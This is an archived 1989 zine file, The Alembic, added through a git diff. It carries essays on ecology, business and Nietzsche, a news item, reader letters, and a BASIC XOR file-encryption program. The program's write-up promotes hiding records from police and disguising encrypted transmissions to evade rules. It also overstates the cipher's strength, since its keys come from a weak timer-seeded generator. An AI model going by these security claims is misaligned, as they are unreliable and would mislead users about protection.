of love and harmony with those we +share the Earth with, living in balance with nature and enjoying the +rewards that such a life can give to all. + + Understanding that the internal work alone is not enough, the +meditative, psychic, and ritual work we do is serving as the energy +for changes in our material lives. Some of us are beginning to evaluate +the effect that we personally have on the Earth, our contribution to +pollution. For some it may mean curtailing the use of our cars. For +others it may mean making efforts to recycle what we would normally +throw out. Another response for some is to become directly acquainted +with the Earth, air, and weather by digging in the ground, planting +something green, and caring for it. And for still others it may mean +learning more about the political and sociological aspects of food, +energy, and resource distribution and becoming involved to change +them. There is a great variety of things pagans are doing to materially +turn the tide of human irresponsibility. What is important is that +we're doing it, and our understanding that we, in fact, can make a +difference. + + The Drought of '88 may be just the beginning of changes for all of +us. Many will feel helpless about these changes, but pagans will see +themselves as active partners in it. + + +________________________________________________________________________ + + + On Business + by David Castleman + + Our human psyche is like a horse with many masters, and ranked +among them is Government, and Media, and Business. One master sees that +the blinders never fail in their task of administering blindness. One +master investigates the reins constantly, to guard against an +encroachment by the individual will. One master tests the harness +constantly, that the servile brute may not forget its allotted and +proper burden. Other and subtler masters note the aspects of the terrain +and the feed and the healthy future of the breed: they stand aloof. + + The facility for business is a reasonably constructed and physical +extension of the primal hunting instinct of the carnivore, and is +itself as clearly a tool of physical contest as is a spear, a trained +dog, a nuclear explosive, or a padded bosom. It is a tool whose use +extends the power of the animal beyond the borders of naked animality. +Its function is of acquisition and of destruction. It kills, that the +animal may eat, and the animal is to eat, that it may kill. + + All who share the privilege and the responsibility of life, live +upon this wheel of natural whim. As the mind is the function of the +brain, so this special tool hidden among folds in the fisted brain, has +as its function that aspect of the mind which equips the physical body. +The carnivore without it is doomed to be a brief and sorry meat for its +fellows. + + What traits of personality are required for business? One must be +intelligent and single-minded, and troubled by no untamed conscience. +Monomania is crucial. Imagination is dangerous and useless. An abundance +of energy is vital. Scruples are decorative, not functional. + + The activity of a real and vigorous imagination poisons the will, +by suggesting too many alternatives, and kills single-mindedness. +Single-mindedness depends on the channeled presence of the personal +portion of communal will, and if the channel enlarges, the will can get +no grip, and flounders. + + What are the social skills required to participate effectively in +this chattering session of business? A person must be able to mimic +the reactions of one's peers, must be malleable as a chameleon, so that +none will be aware if one chance to have qualms of conscience or +stirrings of humanity, and so that none will be aware if one chance to +have a moment of individual awareness. To wake surrounded by the +inhabitants of a dream, would be dangerous as to swim with sharks. + + One must lie easily, remembering always the essential falsehoods of +one's profession, and believing the lies as they are invented on the +tongue. If you do not believe your own lies as you speak them, nobody +else will believe them, and you will have withdrawn sufficiently from +the game that you may not believe the lies of your peers. + + Truth will never be as popular as lies, because it seems harder, +and bleaker. Almost invariably, we prefer the phonies among our +contemporaries, rather than folks of truth or genius. In superficiality +is happiness, when we fear the truth, and feel belittled by genius. +Little people love displays of littleness, because littleness allows +them to feel real, and nobody loves to feel substantial as a bubble. + + One who perceives the surface clearly enough, will understand the +depths beneath the surface comfortably, though inarticulably, and may be +uninterested in those depths. To be a successful seller, one must +ignore anything beyond the surface of reality. One must believe in the +surface with unfeigned sincerity. + + Sincerity is prized, while honesty is abhorred, and sincerity must +have the appearance of sincerity or it counts as nothing. Every +intelligent and civilized society values the appearance of sincerity +more than it values sincerity itself. The appearance of reality is more +important than is actual reality. Appearance is the only thing that +superficials dare to trust, the only thing that may be discussed +easily. + + The appearance is real and exists on the superficial plane of +reality, and is the nearest thing of substance that is available to +normal folks. The appearance of things is the clearest indicator of +truth and reality and substance, that normalcy is permitted, and this +is healthy. To ignore the appearance and the superficial, is unhealthy. + + This plane of the superficial is the domain of those three masters +we spoke of. Business, and Government, and Media, each has a fine and +imposing abode on this level, and each has many servants and formidable +affairs. + + To be excellent at business, one must enjoy it utterly, and one must +consider it a fine game to be played well. To be a champion at business, +beyond mere excellence, it must be religion. Somebody who is so good at +being bad must pay an awful price for the privilege. Why do so many +people pay such a devastating price, forsaking conscience, family, and +self? + + Every religion requires martyrs, and martyrs work for nothing. Their +bosses reap the glory. + + We strive to succeed in business because acquisition is the human +pursuit, and we would match our fellows. What pleasure would be found in +life apart, striving for baubles our various authority figures have +preached against, striven to suppress, and mocked? The fruits of +acquisition seem tangible. They can be held in hand like Faberge eggs. +They can be walked upon, like beaches in an earthly paradise. Their +acquisition permits us to forget the coming and the gnawing precipice, +the yawning reward, the sleep without rest. + + Our fear dissolves when we confront the acceptedly real and the +acceptedly desirable, and if later it proves a mirage, that is +irrelevant. + + Pursuing what our fellows pursue, we forget our smallness, +insignificance and loneliness. What comfort had Galileo though he was +right? What comfort had Gauguin? What comfort had Christ? The human +needs went unanswered, and each must have been a focal point of cosmic +doubt, an arena of the psyche. The loneliness must have been fraught +with horror, and fear. + + In the night our terrific human loneliness crawls across the +ceiling and stares down at us, and though we cannot see it, we feel +that it is there. It mocks us as we watch it through our closed or open +eyes, or through our fingers which splay like trembling fans upon our +faces. We hear it scuttling and we hear it whimpering and whispering +like the beating of a heart. We are reminded of the basis on which all +illusion shimmers awhile, and it is unmindful of us, and unkind. We want +the great basis to confide with us, and its tongue is unmoved. + + Honorable suffering is humanity's only possible gift to Deity, and +it is not enough. + + It is our normal desire to escape the offering of that gift, and we +attempt this when we choose to remain always on the surface of desire, +the surface of reality and life. Therefore a reasonable society embraces +the march of business and of war. War is only business with its sleeves +rolled up. + + All of the world's business has one goal, and efforts made in +business have been attempts pulsing toward that goal. To define the goal +precisely would require the use of many words, and two aspects would be +implicit in any definition, and would be explicit in any honest +definition. Despite any decorative digressions, the goal of business +and of war includes the enslavement of the human race and the +destruction of the planet. + + The best people among the devotees to commerce, these myrmidons to +Mammon, prefer to pretend that their personal goals are somehow short +of this grand goal, but in their hearts and brains they know that +nobody is fooled. Each can tell easily what the others do, and each +permits a mantle of confusion to settle over all. + + Lying doesn't bother them. They are good at it. The unluckiest among +them pale with disgust every morning when they confront the bathroom +mirror. The luckiest among them are scarcely ashamed at all. The +proudest among them are frightened because they know they have betrayed +themselves, and somewhere the almost inaudible voice of conscience +still murmurs. + + While it's true that those who are too susceptible to society's +punctilio may be disgusted by business, it's also true that we are +easily disgusted by things we are not in sympathy with. For many folks, +and usually for the poorest of us, business is just the science of +cheating people, a mindless obscenity; and yet to a business buff, the +act of being in business justifies one's existence to oneself and to +one's Deity. Sometimes businessfolks wonder that they are unable to +appreciate the uncommon, and yet is that truly so odd, since they revel +so in the common? + + Does a robber-baron truly believe that a lifetime dedicated to the +crippling and assassination of whole families by the thousands is +balanced by building a concert-hall as he is about to die? Do such +acts of dishonor go unrecorded into the dawn of prehistory and the +dusk of post-history? + + "As mere human knowledge can split a ray of light and analyze the +manner of its composition, so sublimer intelligences may read in the +feeble shining of this earth of ours, every thought and act, every vice +and virtue, of every responsible creature on it." Amen. + + And yet their desperate hope and prayer is for a Ptolemaic and +all-inclusive silence, silent as a perfectly managed conscience, even +on Sunday. + + +________________________________________________________________________ + + + Solar Cooker May Help Third World + by Laura Wilkinson + (Associated Press 1989/01/15) + + A simple box of cardboard, foil and glass is being promoted as a +means to free Third World women from the time-consuming search for +firewood and get them out of the unhealthy smoke. + + The solar cookers, designed by two Arizona women, are being +introduced in the Third World by Pillsbury Co. "We feel the potential +of solar cookers is so great that it could truly alleviate some of the +global problems," said William Sperber, a senior research microbiologist +at the food conglomerate. + + The cooker is an insulated box within a box topped with a glass pane +and a reflector that directs sunlight. It can be made out of cardboard +or wood, and aluminum foil. Food is cooked in dark, covered metal, +glass or ceramic pots. + + The temperature peaks at 250 to 275 degrees F., meaning food takes +longer to cook than in electric ovens. Users save time by no longer +having to collect firewood and by not having to stir the food because +of the low heat. + + Simplicity may be an obstacle to widespread adoption, supporters +say. "It doesn't look as high tech as other things that have been +tried," said Chris Flavin, vice president of research at Worldwatch +Institute, a private non-profit research group that focuses on global +resource issues. "There's an actual bias in development agencies +against anything that's small and decentralized," said Flavin. "They +like to support big projects because they're easy to manage." + + Barbara Kerr of Taylor, Arizona, a nurse, and Sherry Cole of Tempe, +a former free-lance writer and neighbor of Kerr's, created the design +in the mid-1970s. Since then, Cole said, they've sold about 3,000 kits +and cookers ranging from $40 to $275. + + +________________________________________________________________________ + + + Nietzshce and the Dervishes + by Hakim Bey + + _Rendan_, "the clever ones." The sufis use a technical term _rend_ +(adj. _rendi_, pl. _rendan_) to designate one "clever enough to drink +wine in secret without getting caught": the dervish-version of +"Permissible Dissimulation" (_taqiyya_, whereby Shiities are permitted +to lie about their true affiliation to avoid persecution as well as +advance the purposes of their propaganda). + + On the plane of the "Path", the _rend_ conceals his spiritual state +in order to contain it, work on it alchemically, enhance it. This +"cleverness" explains much of the secrecy of the Orders, altho it +remains true that many dervishes do literally break the rules of Islam, +offend tradition and flout the customs of their society -- all of +which gives them reason for _real_ secrecy. + + Ignoring the case of the "criminal" who uses sufism as a mask -- or +rather not sufism per se but _dervish_-ism, almost a synonym in Persia +for laid-back manners and by extension a social laxness, a style of +genial, poor but elegant amorality -- the above definition can still be +considered in a literal as well as metaphorical sense. That is: some +sufis do break the Law while still allowing that the Law exists and +will continue to exist; and they do so from spiritual motives, as an +exercise of will (_himmah_). + + Nietzsche says somewhere that the free spirit will not agitate for +the rules to be dropped or even reformed, since it is only by breaking +the rules that he realizes his will to power. One must prove (to +oneself if no one else) an ability to overcome the rules of the herd, +to make one's own law and yet not fall prey to the rancor and resent- +ment of inferior souls which define law and custom in ANY society. One +needs, in effect, an individual equivalent of war in order to achieve +the becoming of the free spirit -- one needs an inert stupidity against +which to measure one's own movement and intelligence. + + Anarchists sometimes posit an ideal society without law. The few +anarchistic experiments which succeeded briefly (the Makhnovists, +Catalan) failed to survive the conditions of war which permitted their +existence in the first place -- so we have no way of knowing empirically +if such an experiment could outlive the onset of peace. + + Some anarchists however, like our late friend the Italian +Stirnerite "Brand," took part in all sorts of uprisings and revolutions, +even communist and socialist ones, because they found in the moment of +insurrection itself the kind of freedom they sought. Thus while +utopianism has so far always failed, the individualist or existentialist +anarchists have succeeded inasmuch as they have attained (however +briefly) the realization of their will to power in war. + + Nietzsche's animadversions against "anarchists" are always aimed +at the egalitarian-communist narodnik martyr-types, whose idealism he +saw as yet one more survival of post-Xtian moralism -- altho he +sometimes praises them for at least having the courage to revolt +against majoritarian authority. He never mentions Stirner, but I +believe he would have classified the Individualist rebel with the +higher type of "criminals," who represented for him (as for Dostoyevsky) +humans far superior to the herd, even if tragically flawed by their +obsessiveness and perhaps hidden motivations of revenge. + + The Nietzschean overman, if he existed, would have to share to some +degree in this "criminality" even if he had overcome all obsessions and +compulsions, if only because his law could never agree with the law of +the masses, of state and society. His need for "war" (whether literal +or metaphorical) might even persuade him to take part in revolt, +whether it assumed the form of insurrection or only of a proud +bohemianism. + + For him a "society without law" might have value only so long as it +could measure its own freedom against the subjection of others, +against their jealousy and hatred. The lawless and short-lived "pirate +utopias" of Madagascar and the Caribbean, D'Annunzio's Republic of +Fiume, the Ukraine or Barcelona -- these would attract him because +they promised the turmoil of becoming and even "failure" rather than +the bucolic somnolence of a "perfected" (and hence dead) anarchist +society. + + In the absence of such opportunities, this free spirit would +disdain wasting time on agitation for reform, on protest, on visionary +dreaming, on all kinds of "revolutionary martyrdom" -- in short, on +most contemporary anarchist activity. To be _rendi_, to drink wine in +secret and not get caught, to accept the rules in order to break them +and thus attain the spiritual lift or energy-rush of danger and +adventure, the private epiphany of overcoming all interior police while +tricking all outward authority -- this might be a goal worthy of such a +spirit, and this might be his definition of crime. + + (Incidentally I think this reading helps explain Nietzsche's +insistance on the MASK, on the secretive nature of the proto-overman, +which disturbs even intelligent but somewhat liberal commentators like +Kaufman. Artists, for all that Nietzsche loves them, are criticized for +_telling_secrets_. Perhaps he failed to consider that -- paraphrasing +A. Ginsberg -- this is _our_ way of becoming "great"; and also that -- +paraphrasing Yeats -- even the truest society becomes yet another mask.) + + As for the anarchist movement today: would we like just once to +stand on ground where laws are abolished and the last priest is strung +up with the guts of the last bureaucrat? Yeah sure. But we're not +holding our breath. There are certain causes (to quote the Neech again) +that one fails to quite abandon, if only because of the sheer insipidity +of all their enemies. Oscar Wilde might have said that one cannot be a +gentleman without being something of an anarchist -- a necessary +paradox, like Nietzsche's "radical aristocratism." + + This is not just a matter of spiritual dandyism, but also of +existential commitment to an underlying spontaneity, to a philosophical +"tao." For all its waste of energy, in its very formlessness anarchism +alone of all the ISMs approaches that one _type_ of form which alone +can interest us today, that strange attractor, the shape of _chaos_ -- +which (one last quote) one must have within oneself, if one is to give +birth to a dancing star. + + +________________________________________________________________________ + + + XORcrypt: 'basically' a low-budget text encryption routine + by Rick Harrison + + Many persons have information in their personal computers that they +would like to keep to themselves. Radical magazines have their mailing +lists, tax evaders have their financial records, and people engaged in +adultery, drugs, pornography, or other activities have sensitive records +and correspondence. The wisdom of keeping vital or incriminating data +safe from the eyes of cops, spouses, parents, or business competitors +cannot be over-estimated. Computers make it fairly easy to accomplish +this goal. Just use an encryption program to encode those sensitive +documents and they become relatively inaccessible to the unauthorized. + + Personal computers also make it possible for ordinary people to +have secure telecommunications. Just type up your correspondence, +encrypt it, and send it on its way via telephone modem or packet radio. +There are federal regulations restricting the transmission of coded +messages, but sneaky people simply compress the encoded file, label it +as a machine-language program meant to be run on an unspecified type of +computer, and transmit with impunity. + + Below is a listing for XORcrypt, a program designed to provide data +security for users of personal computers. There are slicker, faster +programs around that do this sort of thing, but if you haven't got +access to any such programs, here's one you can type in and run. + + The first step in using XORcrypt is to take the menu option that +writes a 'key' file to disk. A key file is really just a textfile +containing random integers separated by commas. Here's an example of +a key file: + 9, 36, 55, 119, 63, 21, 76, 89, 111 + 1, 81, 8, 126, 74, 37, 64, 101 + 29, 118, 35, 128, 53, 88, 13, 20, 54 ...et cetera. + + Next take the 'encrypt' option. You can select any file of the text +variety and encode it. (You'll have to experiment a bit and see what +kinds of files you can open on your system. This version, running on a +Macintosh, will open text files but not binary data files.) The program +XORs each byte of text against one of the integers from the key file. +(XOR, pronounced 'exclusive or', is a binary bitwise operation.) The +resulting output is your encrypted file. After you've tested the program +and you're positive that it's working to your satisfaction, you can +erase the plaintext file, leaving only the incomprehensible coded file +on disk. Decryption is accomplished by repeating the process; the coded +bytes are XORed against the key, producing the original file again. + + If the numbers in the key file are sufficiently random and the key +file is longer than the text being encoded, XORcrypt is similar to a +"one-time pad" cipher. In a best-case scenario, all possible bytes in +the encrypted file occur with nearly-equal frequency and the cipher is +theoretically unbreakable. (Of course the key file needs to be +physically secured and/or encrypted by some other encryption scheme.) + + Since the key is a textfile of numbers, it could be disguised as a +list of statistics or something. Key files can also be entered by hand +using a text editor program, in case you want a custom-made key file, +say for example one that contains a perfectly even mix of all integers +from 1 to 255. + + BASIC, as a programming language, has the advantage of being +available on almost all personal computers. It has the disadvantage of +running with amazing slowness. The version shown here was written on a +Macintosh using MicroSoft BASIC, and processes about 3000 characters per +minute. (If anyone gets inspired to translate this into C or Pascal, +send me the source code and I'll print it.) To port the program to other +computers, start by deleting lines 10, 14, 110, 122, 142, and 161. +Then add the following lines: + 110 INPUT "Filename";FIN$ + 122 INPUT "Filename";KEYN$ + + If your computer's version of BASIC doesn't have an XOR function, +you'll have to define it using DEF FN or a subroutine. Functions like +WHILE-WEND, DEFINT, LOCATE and INPUT$(1, #1) are not available in all +versions of BASIC, so some improvising may be required. Since the key +file is stored in a memory array, you may encounter a different size +limit on your computer; adjust lines 16 and 320 accordingly. + +5 REM XORcrypt - public domain 1989 - a Tangerine Network production +10 WINDOW 1,"",(8,28)-(505,332),2:TEXTFONT 0:TEXTSIZE 24 +12 CLS:PRINT CHR$(13):PRINT TAB(11) " XOR Crypt" +14 MENU 2,0,0,"":MENU 3,0,0,"":TEXTSIZE 12 +16 OPTION BASE 1:DEFINT A-D:DEFINT K:DIM K(30002), A(5000):WIDTH 65 +18 PRINT:PRINT:GOSUB 3000 +20 CLS:PRINT +21 PRINT TAB(10) "E=encrypt D=decrypt G=generate 'key' file Q=quit" +25 X$=INKEY$:IF LEN(X$)<1 THEN GOTO 25 +30 IF X$="Q" OR X$="q" THEN CLS:BEEP:SYSTEM +31 IF X$="e" THEN X$="E" +32 IF X$="d" THEN X$="D" +35 IF X$="E" OR X$="D" THEN GOTO 100 +36 IF X$="G" OR X$="g" THEN GOTO 300 +40 GOTO 25 +100 WAY$=X$:CLS:PRINT +105 IF WAY$="E" THEN CLS:PRINT TAB(12) "Select a file to encrypt...." +106 IF WAY$="D" THEN CLS:PRINT TAB(12) "Select a file to decrypt...." +110 IF WAY$="E" THEN FIN$=FILES$(1, "") ELSE FIN$=FILES$(1, "XORC") +113 IF LEN(FIN$)<2 THEN PRINT "*ABORT*":GOSUB 3000:GOTO 20 +120 CLS:PRINT +121 PRINT TAB(12) "Select a 'key' file...." +122 KEYN$=FILES$(1,"TEXT") +129 C=0 +130 OPEN KEYN$ FOR INPUT AS #1:PRINT "Reading 'key' file." +131 WHILE NOT EOF(1) +132 INPUT #1, KN:C=C+1:K(C)=KN +133 WEND +135 K(C+1)=-1:CLOSE #1:CLS +140 IF WAY$="E" THEN PRINT:INPUT "File name for encrypted data";OUTN$ +141 IF WAY$="D" THEN PRINT:INPUT "File name for decrypted data";OUTN$ +142 CALL OBSCURECURSOR +145 OPEN FIN$ FOR INPUT AS #1 +146 OPEN OUTN$ FOR OUTPUT AS #2 +147 CLS:PRINT "The files have been opened. Please wait." +148 M=1 +149 LOCATE 10,1:PRINT "Bytes processed so far:" +150 WHILE NOT EOF(1) +151 A$=INPUT$(1, #1):REM get one byte of text +152 A=ASC(A$+CHR$(0)) +153 B=A XOR K(M) +154 M=M+1:IF K(M)=-1 THEN M=1 +155 PRINT #2, CHR$(B); +156 D=D+1:IF D/100=INT(D/100) THEN LOCATE 10, 25:PRINT D +159 WEND +160 CLOSE #1:CLOSE #2 +161 IF WAY$="E" THEN NAME OUTN$ AS OUTN$, "XORC" +200 PRINT:PRINT "select: un again or uit" +201 CH$=INKEY$:IF LEN(CH$)<1 THEN GOTO 201 +202 IF CH$="R" OR CH$="r" THEN RUN +203 IF CH$="Q" OR CH$="q" THEN BEEP:CLS:SYSTEM +300 CLS +301 PRINT:PRINT "Generate 'key' file...":PRINT +302 INPUT "Filename for output";N$ +303 OPEN N$ FOR OUTPUT AS #1 +304 PRINT:PRINT "To increase the randomness of the output," +305 PRINT "press keys on the keyboard at random intervals." +306 PRINT "Press the 'Q' key to conclude the operation." +307 RANDOMIZE TIMER +308 LOCATE 12,1:PRINT "Number of random integers:" +309 LOCATE 12, 30:PRINT "1" +310 X=INT(RND*255):IF X<1 OR X>254 THEN GOTO 310 +320 C=C+1:IF C>30000 THEN PRINT "Finished.":GOTO 390 +330 IF C/15=INT(C/15) THEN PRINT #1, X:GOTO 360 +340 PRINT #1, X ","; +350 IF TIMER/7=INT(TIMER/7) THEN GOSUB 2000:GOTO 370 +360 H$=INKEY$:IF LEN(H$)<1 THEN GOTO 310 +370 RANDOMIZE TIMER:LOCATE 12,30:PRINT C +380 IF H$="Q" OR H$="q" THEN GOTO 390 ELSE GOTO 310 +390 PRINT #1, CHR$(13):CLOSE #1 +391 PRINT "Mission accomplished." +392 GOSUB 3000:GOTO 20 +2000 FOR Z=1 TO X:NEXT:RETURN +3000 FOR Z=1 TO 2500:NEXT:RETURN + + +------------------------------------------------------------------------ +------------------------------- RETORTS -------------------------------- +---------- audience contributions to the distillation process ---------- +------------------------------------------------------------------------ + + +Dear Rick, + + I agreed with the particulars of virtually everything in _The_ +_Alembic_ (except for the anti-intellectual, anti-educational crap on +page 20), yet on a more abstract plane I am dissatisfied with the +mentality dominant in the magazine. The message seems to be: "I am too +smart to participate in any social institution. I can pretend that I +live in a vacuum, self-determined, immune from the brainwashing that +holds all the suckers in the world in bondage except my fellow elitist +buddies and me." People who think like this think they are smart, yet +this view is as socially determined as any other. It is not a rare +view; in fact, it is characteristic of many subcultures consisting of +alienated individualist middle class white males. This elitist phil- +osophy is itself part of the status quo: such individuals never change +anything, since they show no interest in educating anyone outside of +their own race and social class, particularly those who have been +deprived of the very educational opportunities they take for granted. + + We can look forward to future "merciless attacks" on everything +"that the average ignoramus takes for granted." You say you are "open +to non-dogmatic material from anywhere on the political spectrum." You +say that you hold no kind of "ism" and that you tend not to respect +those who do. + + I find this attitude both dishonest and morally irresponsible. +Having no philosophy is impossible. You most certainly do have a +philosophy, and a very typical, philistine one at that. You think that +you are not a dupe, but you are, a dupe of nihilism. + + ...Since you are open to the entire political spectrum, are you +open to publishing articles promoting racism and fascism? Do you think +that such views are deprived of a public forum (eg. on the talk shows)? +Is the establishment inimical to such views? + + If you are really offended by liberal hypocrisy, if you are worried +about totalitarianism and oppression as are some of your writers, if +you really want to defend the human mind and the quality of life from +degradation, then you will have to take sides. You can't promote +fascism and anti-fascism at the same time. Nor intellectualism and +anti-intellectualism. You ought to think about what philosophies and +isms make possible an allegiance to critical and rational thinking and +which philosophies will destroy it. And what social groups one should +ally oneself with in pursuing such aims. Many smartasses who brag about +their independent superior minds have hopped on board the fascist +philosophy of Ayn Rand. Do you want to go that way? Maybe the ignorant +masses you so despise have some objective interests in common with +yours. + + Now here are my detailed comments on the magazine. + + "Feminism as Fascism." Bob Black's analysis is almost 100% correct. +Yet his title is too imprecise, as feminism or women's liberation +encompasses a whole spectrum of political ideologies and stances. He +should have used 'radical feminism' (in quotes) in the title. The +particular brand of radical feminism discussed is in fact the creation +of an elite group of middle-class intellectual women (and men) and does +not represent the material interests of the vast majority of women who +really do suffer oppression. Black should have more clearly defined the +distinctions in the women's movement and especially the middle class +nature of feminist ideology. + + The middle class in general lives in a vacuum and is incapable of +acknowledging conflicting class interests. Hence middle class white +women (and I do mean white) who themselves have ambitions of advancing +in the corporate world are not likely to emphasize social class in +their discussions of power: it is more convenient to speak of +'patriarchy', of women vs. men in the abstract. Hence bourgeois white +females eager to gain the opportunity to exploit workers (and who love +to complain about discrimination suffered by white women but never by +black people) are not likely to be honest about just who has and has not +power. And in the universities, the feminist metaphysicians promote the +same antirational, antiscientific, and antihumanist attitudes as do the +ruling elite in general. One prominent feminist philosopher of science +referred to the _Principia_Mathematica_ as "Newton's rape manual." (I +am getting sick of white women's rape fantasies.) I have publicly +denounced such thinking, arguing that it will lead us to fascism. Hence +I love Black's statement "'When God was a Woman' it was already +necessary to abolish her." Unfortunately, Black has been keeping +company with anarchist riffraff, so his bad experiences serve him right. +He still has not relieved himself of his anarchist heritage: "to be a +Trotskyist or a Jesuit is, in itself, to be a believer, that is to say +a chump." Anyone who so bad-mouths anyone holding a systematic +philosophy is himself a fool. + + "Flush the family" had me in stitches. I largely agree with Smythe's +debunking. Yet there is still a lack of realism. Some people will +continue to have children (I vainly hope those who really fit that +vocation rather than acting out of blind habit), and those children will +have to be brought up somehow -- letting them run wild is just as +reactionary as authoritarianism. A practical alternative to the nuclear +family will necessitate mass organization to realize support for the +welfare of children (nuclear family or no) who are being crushed to +death under Reagan-Bush-ism. + + "The Power of Negative Thinking" is quite correct: ability is not +enough in the modern corporate bureaucratic form of organization -- +attitude is, because "attitude" is now a necessary totalitarian form +of social control. You can't be trusted until you have been spayed. +You must be white, join the appropriate tennis and raquetball clubs, +and join the good old boys or you will never rise beyond the stray +middle management position. The argument unfortunately deteriorates +toward the end of the article with a stupid diatribe against all +organization. More infantile anarchism. + + "The coming food crisis in America" -- great article! + + "Methods as message, or, religion as rabies." As a militant atheist, +I love this article. I would love to translate this article into +Esperanto and publish it in the magazine I founded, _Ateismo_. + + "Language and liberty" is an important topic -- unfortunately this +extract lacks detail. I would like to see the author's ideas fleshed +out. I don't know much about the situation in Bonanno's country, but +there is much to be considered here in the U.S. Differences in language +are also tied up with differences in access to information (the most +crucial problem). The language differences between social groups have +existed for thousands of years. How is the situation different now? +How are the languages of the different social groups faring these days? +In the U.S. the great divide is the language of the professional classes +vs. the language of the ghetto. Are either or both of these language +varieties and their mutual comprehensibility deteriorating? + + In conclusion, the magazine has some good material, but its +limitations exemplify the childish and intellectually vacuous heritage +of anarchism: the political philosophy of the self-indulgent, decadent, +escapist refuse of the middle class. + + Sincerely, + + Ralph Dumain + + +reply from Rick Harrison: + + 'Systematic philosophies' are philosophies of the System. + + I would suggest that if you agreed with the vast majority of the +particulars in _Alembic_ #1, you have already made half the journey to +independent thought and the argument really concerns _attitude_ +rather than facts. Instead of wondering about the "difficulties of +those who are afraid of being swallowed up in theoretical systems," +you might investigate the difficulties of those who are afraid to let +go of such systems. Ideological systems, identified by words ending +with the suffix "-ism," generally serve as substitutes for religion, +and the arguments used in defense of the various 'isms are often no more +logical than those utilized by proponents of, say, Creationism. + + +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + + +Dear Alchemists, + + I was surprised by your sympathetic treatment of the Loglan move- +ment evidenced in the article "Announcing Lojban." Loglan has been an +embarrassment to the artificial language movement because of its ad- +herents' factionalism and their tendency to make major alterations in +the grammar just when a few people thought they had learned it. + + Loglan/Lojban is pretty lame compared to other artificial languages, +and I have to wonder why anyone would study it. It is ugly-looking and +ugly-sounding, structurally irrelevant to the everyday needs of human +communication, and riddled with inconsistencies. Those who write letters +to the editor of the language's newsletters repeatedly point out these +imperfections, and are repeatedly assured that obvious drawbacks should +be viewed instead as advantages. Loglan's most rabid promoters come off +sounding like computer programmers who excuse the defects in their work +with elaborate rationalizations of how "it's not a bug, it's a feature!" + + Lojban, now the best-publicized faction of the logical language move- +ment, has several hundred rules of grammar. Its promoters try to excuse +this by saying the rules of English are even more numerous and haven't +been totally elucidated or enumerated. What they overlook, however, is +that Esperanto only has 16 official grammatical rules, and in practice +you only need to know about 30 rules to be able to construct Esperanto +sentences fairly fluently. There are some natural languages, like Malay, +which have a similarly small number of grammatical regulations. This +makes Loglan relatively non-competitive among language students who +would like to get "up and running" as quickly as possible in a new +language. + + Loglan claims to be culturally neutral, but it is, in fact, derived +from the culture of nerds -- most of its advocates are sci-fi nuts, +computer-philes and other pale white creatures likely to be found wear- +ing eyeglasses and having college degrees. To actually create a cultur- +ally neutral language, I would suggest having a computer create words +from randomly-chosen phonemes. Then _everyone_ would be on an even +footing as far as recognizability of the lexicon is concerned. Loglan +and Lojban, however, have shredded the six "most popular" languages to +create hideous, Chicken-McNugget-style words. This is an acquiescence +to colonialism and imperialism; after all, how did those six languages +become so widespread? Mainly through the military subjugation of native +peoples and the extermination of hundreds of their natural languages. + + Loglan is doomed to remain obscure because the movement provides no +compelling reason for people to inconvenience themselves by attempting +to learn such an irritating language. Some say Loglan provides a means +of testing the Sapir-Whorf hypothesis, a linguistic theory stating that +the syntax and lexicon of a language constrain the thoughts of the +people who speak it. Yet, the Sapir-Whorf hypothesis has been thoroughly +debunked in the linguistic community, and can be easily shown to be +false simply by thinking about it. What is a 'thought'? It is a +combination of experience, information, images and meanings. The average +thought carries more data and covers more lexical territory than any +reasonably brief sentence could contain. Using language forces us to +distill and excerpt our thoughts down to a communicable form. It's like +trying to draw a picture using a typewriter instead of a pen; cute +pictures can be made out of asterisks and other typewriter characters, +but this will never come close to art, just as language will never come +close to conveying thought. Thought is much more powerful and freer- +ranging than language could ever hope to be; every poet knows this. But +the Loglanic Whorfists deny it. + + Other proposed uses for Loglan include international communication +and the facilitation of human-to-computer communication. Since inter- +national communication is being taken care of just fine by languages +like English and French, it should be painfully obvious that people will +not trouble themselves to learn an unreal language like Loglan any more +than they did Esperanto. And strangely, or maybe not so strangely, +Loglanists have never acknowledged the ethical questions raised by +trying to constrain human language to make it accommodate the needs of +our retarded children, i.e. computers. + + By practically making a religion out of predicate logic, Loglanists +have demonstrated a hatred of spontaneous human nature. This hatred is +quite apparent in the way they snarl about "irrationalities" and +"ambiguities" in natural languages. So they, like religionists, attempt +to apologize for being human by adhering to rigid behavioral guidelines +which will ultimately make them something less than human. + + Sincerely, + + Mark Tierisch + Public Ptomaine Software Co. + + +reply from Rick Harrison: + + What "sympathetic treatment"?? I reprinted part of their pamphlet +and allowed them to expose themselves. + + +________________________________________________________________________ + + + Whew! We made it through another issue without a single mention of + "alternative music" or other trendy fads which more cynical editors + use to capitalize on the sheep-like tendencies of their audiences. + Coming up in future editions of _The_Alembic_: Is music a drug? ~ The + ideology of "Star Trek - The Next Generation." ~ Henry David Thoreau's + most radical essay. ~ Is reality an authoritarian concept? ~ and more! + + +________________________________________________________________________ + + + Thus endeth the second Alembic. + + END OF FILE + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Another file downloaded from: NIRVANAnet(tm) + + & the Temple of the Screaming Electron 415-935-5845 + Just Say Yes 415-922-2008 + Rat Head 415-524-3649 + Cheez Whiz 408-363-9766 + + Specializing in conversations, obscure information, high explosives, + arcane knowledge, political extremism, diversive sexuality, + insane speculation, and wild rumours. ALL-TEXT BBS SYSTEMS. + + Full access for first-time callers. We don't want to know who you are, + where you live, or what your phone number is. We are not Big Brother. + + "Raw Data for Raw Nerves" + + + \ No newline at end of file diff --git a/textfiles.com/magazines/MISC/alembic3.txt b/textfiles.com/magazines/MISC/alembic3.txt new file mode 100644 index 00000000..7f62efcc --- /dev/null +++ b/textfiles.com/magazines/MISC/alembic3.txt @@ -0,0 +1,1197 @@ + + + The ALEMBIC + third edition, Autumn 1989 + + * a publication dedicated to superseding pre-fabricated ideologies + * for those who `think too much' and have a `bad attitude' + + + contents: + Beyond Radicalism, by Lawrence E. Christopher + Time Wars, Jeremy Rifkin's book reviewed by Rick Harrison + Life Without Principle, by Henry David Thoreau + Research for Whose Benefit? by Masanobu Fukuoka + an alembic trigram: using the flow + + + ``This Troylus in teres gan distille, + As licour out of alambic, fulle fast.'' + - Chaucer, 1374 + + _The_Alembic_ is a magazine of thoughts and speculations simultaneously + distributed on paper and as a computer textfile which you can download + from the more enlightened electronic bulletin boards. _The_Alembic_ is + made possible entirely by donations of articles, publicity, money and + distributive technology. Written and financial contributions should be + directed to Rick 